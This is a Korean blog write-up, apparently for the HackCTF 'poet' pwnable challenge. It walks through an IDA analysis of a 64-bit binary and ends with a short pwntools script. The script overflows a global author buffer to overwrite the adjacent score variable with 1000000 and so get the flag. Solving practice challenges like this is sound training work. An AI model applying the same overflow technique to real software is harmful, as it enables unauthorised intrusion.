WAR GAME/HackCTF

[HackCTF : Pwnable] poet 풀이 (64bit, BOF)

jir4vvit 2021. 3. 24. 16:40

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

오래걸릴 뻔...


주어진 파일은 문제 바이너리 파일

 

Analysis

일단 실행하면 아래와 같다.

뭔가 1000000점이면 flag를 줄 것같은 느낌

 

IDA로 열어보자.

main

참고로 저기 보이는 score 변수는 전역변수다.

score 변수가 1000000이면 while문을 탈출하여 reward() 함수를 실행하게 되는데 reward() 함수는 flag를 출력해준다.

get_poem()
get_author()
rate_poem() 

처음에 strcpy함수에서 bof를 일으켜서 뭐 어찌어찌 할 생각을 하였다. 

CTF 글자 열심히 보냈는데 세폴 떴음ㅋ

 

How to exploit

score,poem, author 변수는 다 전역변수이다. 같은 bss영역에 위치한다.

 

poem과 author를 입력받을 때 둘 다 bof가 일어난다.

author를 입력받을 때 bof를 일으켜서 score를 1000000으로 수정해주었다.

poem을 입력받을때는 왜 안되냐면 poem을 입력받고 score을 0으로 만들어주기 때문이다 ㅎㅎ;

Let's exploit

from pwn import *

#p = process('./poet')
p = remote('ctf.j0n9hyun.xyz', 3012)
e = ELF('./poet')

payload = ''
payload += 'AAAA'

p.sendlineafter('> ',payload)

payload = ''
payload += 'A' * 0x40
payload += p64(1000000)
p.sendlineafter('> ', payload)

p.interactive()

와 2018년 시인 상 받았다~